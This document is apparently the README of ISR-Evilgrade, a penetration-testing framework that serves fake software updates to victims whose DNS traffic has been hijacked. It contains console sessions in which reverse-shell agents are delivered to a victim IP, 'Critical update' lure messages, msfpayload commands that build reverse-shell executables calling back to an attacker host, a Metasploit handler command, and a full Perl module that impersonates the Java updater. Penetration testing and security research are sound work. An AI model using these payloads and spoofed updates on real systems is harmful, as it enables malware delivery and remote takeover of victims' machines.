
Evilgrade é um framework modular que permite ao usuário tirar proveito de implementações de atualização deficientes ao injetar atualizações falsas.
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --
Evilgrade é uma estrutura modular que permite ao usuário tirar proveito de implementações de atualização deficientes, injetando atualizações falsas. Ele vem com binários pré-fabricados (agentes), uma configuração padrão funcional para testes de penetração rápidos e possui seus próprios módulos WebServer e DNSServer. Fácil de configurar novas definições e possui uma autoconfiguração quando novos agentes binários são configurados.
Esta estrutura entra em ação quando o atacante é capaz de fazer redirecionamentos de nomes de host (manipulação do tráfego DNS da vítima), e tal coisa pode ser feita em 2 cenários:
O Evilgrade funciona com módulos. Em cada módulo, há uma estrutura implementada necessária para emular uma atualização falsa para um aplicativo/sistema específico.
ISR-Evilgrade é multiplataforma, depende apenas de ter um payload apropriado para a plataforma alvo correta a ser explorada.
Funciona de forma semelhante a um console IOS``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available
Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.
## Lista de módulos implementados``` console
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
evilgrade>conf sunjava evilgrade(sunjava)>
#### Mostrar todos os VirtualHosts.
#### O campo VirtualHost contém os domínios que nosso servidor web irá emular para nós.``` console
evilgrade>show vhosts
Virtual hosts:
=============
[
"java.sun.com",
"javadl-esd.sun.com",
...
...
...
]
evilgrade(sunjava)>show options
Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"
.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'
#### Iniciar serviços (Servidor DNS e Servidor Web)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
evilgrade>show status Webserver (pid 4134) already running
.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
## .:: [USO AVANÇADO] ::.
### Comandos
#### configure / conf - Configurar <nome-do-módulo>
Exemplo:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>
evilgrade>conf sunjava
evilgrade(sunjava)>
## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>
##
reload - Reload to get all modules update (to refresh loaded modules, useful on development)
start - Start webserver
stop - Stop webserver (fake update server)
Exemplo: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#######################################
evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]
#######################################
restart - Restart services (WebServer and DNS Server) stops and starts again
#######################################
status - Get webserver and victims status
evilgrade>show status Webserver (pid 4134) already running
.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
#######################################
show - Display information of .
#######################################
show active - Display active modules in the webserver
#######################################
show modules - Display implemented modules
#########################################
show options - Display modules/global options
evilgrade>show options
.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'
evilgrade> evilgrade(notepadplus)>conf vmware evilgrade(vmware)>show options (without started services)
Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"
.----------------------------------------------. | Name | Default | Description | +--------+-------------------+-----------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '--------+-------------------+-----------------'
evilgrade(vmware)>show options (with started services after setting agent)
Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"
.--------------------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+------------------------------------------------------------------+-----------------+ | enable | 1 | Status | | agentmd5 | f80af637642170507bda998b6f2015fa | | | agentsize | 54576 | | | agent | ./agent/agent.exe | Agent to inject | | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | | '-------------+------------------------------------------------------------------+-----------------'
#########################################
set - Configure variables global or modules
evilgrade>show options
.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 0 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'
###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)
evilgrade>set debug 1 #Enable debug set debug, 1
evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening set DNSAnswerIp, 192.168.1.4
evilgrade>show options
.-------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-------------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-------------+---------------------------------------------------------'
###############################
exit - exits the program
#######################################
help - prints this screen, or help on 'command'
#######################################
## .:: [AVANÇADO] ::.
- Opções dos Módulos:
Cada módulo possui opções especiais, mas o campo "agent" está sempre presente.
O agent é nosso binário de atualização falso; devemos definir o caminho para onde ele está localizado ou implementar uma geração dinâmica de binário de atualização falsa.
[Binário de atualização falsa dinâmico] permite a execução de um comando externo para gerar nosso binário, por exemplo, usando msfpayload do Metasploit Framework.
Com este recurso, podemos gerar qualquer payload do Metasploit ou usar uma interface externa para criar o binário.
# Exemplo 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
Neste caso, para cada binário de atualização necessário, geramos um binário de atualização falso com o payload "windows/shell_reverse_tcp" usando um reverse shell para conectar no endereço 192.168.233.2 porta 4141. A tag <%OUT%><%OUT> é uma marca especial para detectar onde o binário de saída será gerado. O Evilgrade detecta o uso do "dynamic fake update binary feature" devido a ter uma frase entre colchetes '[]'. Dentro desses colchetes temos uma string que também está entre aspas "" que é compilada usando perl. Por exemplo, se usarmos:``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
então, toda vez que recebemos uma requisição binária, o evilgrade compilará a linha e executará a string final "./generatebin -o /tmp/update(random).exe", gerando agentes diferentes.
Uma alternativa fácil, mas não dinâmica, seria gerar o payload diretamente do msfpayload em um terminal e atribuí-lo manualmente à configuração do módulo.
# Exemplo 2:
(Fora do evilgrade)```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
(Dentro do evilgrade)``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
Após a geração do nosso payload, deixamos um multi handler escutando no LHOST previamente atribuído.
(Fora do evilgrade)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...
O desenvolvimento de módulos é muito simples. Como o evilgrade é baseado em módulos, você só precisa usar um pacote .pm (módulo perl). Neste caso, vamos descrever o módulo de atualização do sunjava (comentários com #):``` perl package modules::sunjava;
use strict; use Data::Dump qw(dump);
my $base= { 'name' => 'Sun Microsystems Java', #name of the module to display in the framework 'version' => '2.0', #internal module version 'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module 'author' => [ 'Francisco Amato < famato +[AT]+ faradaysec.com>' ], #author 'description' => qq{}, #brief description 'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.
#Then we have the request object's collection
'request' => [
#Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
{
'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
'type' => 'file', #it's the response type (file|string|agent|install)
#we can use:
#file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
#string: response with a string referenced in the "string" options below
#agent: response with content file referenced in the "agent" options (options section)
#install: response with content file referenced in the "file" option below
#It's used to know if the fake update was executed
#In some update process we can specify a final page after update installed
#so we send to a controller page.
'method' => '', #not implemented yet
'bin' => '', #set to 1 if we are going to send a binary file
'string' => '', #if we have chosen the 'type' string then in this variable we set the response
'parse' => '', #set to 1 if the file or string need be parsed with options
'file' => './include/sunjava/sunjava_map.xml'
},
{
'req' => '^/java_update.xml$', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
'parse' => '1',
'file' => './include/sunjava/sunjava_update.xml'
},
{
'req' => '/x.jnlp', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
#In this case we parse the file
'parse' => '1',
#To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
#This tags are replaced with the values of the options, for example
#<%TITLE%> will be replaced by 'Critical update'
'file' => './include/sunjava/x.jnlp'
},
{
'req' => '.jar', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => 1,
'string' => '',
'parse' => '',
'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
},
{
'req' => '.exe', #regex friendly
'type' => 'agent', #Here we have an agent type with a binary response
'bin' => 1,
'method' => '', #any
'string' => '',
'parse' => '',
'file' => ''
}
],
#Options
#Here we have the options that will be displayed with "show options" inside the current module.
#This options are used to parse the string or a file using in the responses
'options' => { 'agent' => { 'val' => './agent/java/javaws.exe', #The default value
'desc' => 'Agent to inject'}, #Brief description
'arg' => { 'val' => 'http://java.sun.com/x.jnlp"',
'desc' => 'Arg passed to Agent'},
'enable' => { 'val' => 1,
'desc' => 'Status'},
#The following is a dynamic hidden option,
#In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
'name' => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
'hidden' => 1,
'dynamic' =>1,},
#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
'title' => { 'val' => 'Critical update',
'desc' => 'Title name displayed in the update'},
'description' => { 'val' => 'This critical update fix internal vulnerability',
'desc' => 'Description to be displayed during the update'},
'atitle' => { 'val' => 'Critical vulnerability',
'desc' => 'Title name to be displayed in the systray item popup'},
'adescription' => { 'val' => 'This critical update fix internal vulnerability',
'desc' => 'Description to be displayed in the systray item popup'},
'website' => { 'val' => 'http://java.com/moreinfolink',
'desc' => 'Website displayed in the update'}
}
};
## .:: [DICAS] ::.
1) Não se esqueça de executar o evilgrade com um usuário que tenha privilégios para criar sockets de escuta,
caso contrário, você não conseguirá usar os Services do evilgrade.
2) Toda vez que modificar um módulo com o evilgrade em execução, não se esqueça de 'reload' neles.
3) Defina os 'agents' binários antes de iniciar os serviços, pois existem alguns campos que o evilgrade
preencherá para você (agentmd5, agentsha256 e agentsize) que não podem ser feitos com eles já em execução.
4) Se você estiver usando uma resposta dinâmica com variáveis como: <%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%> ou personalizadas definidas na seção de opções, não se esqueça de definir *parse* como 1.
5) O mesmo vale para injetar um agente, você deve ativar a flag *bin* como 1.
6) Se você quiser fazer respostas em texto simples usando HTTP, use a flag *cheader*. Exemplo abaixo:```
{ 'req' => '/sitepath/download/file.zip'
, #regex friendly
'type' => 'string', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
'parse' => '1',
'file' => '',
'cheader' => "HTTP/1.1 302 Found\r\n"
. "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
. "Content-Length: 0 \r\n"
. "Connection: close \r\n\r\n",
},
7) To filter via User-Agent, use as an example the Sparkle2 module. In base add 'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".
Data::Dump
Digest::MD5
Time::HiRes
RPC::XML
## .:: [MAIS INFORMAÇÕES] ::.
Este framework foi apresentado nas seguintes conferências de segurança:```
· ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
· Troopers 2008 [Munich, Germany] [www.troopers08.org]
· Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
· H2HC 2009 [Brazil] [www.h2hc.com.br]
· Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]
Francisco Amato famato+at+faradaysec+dot+com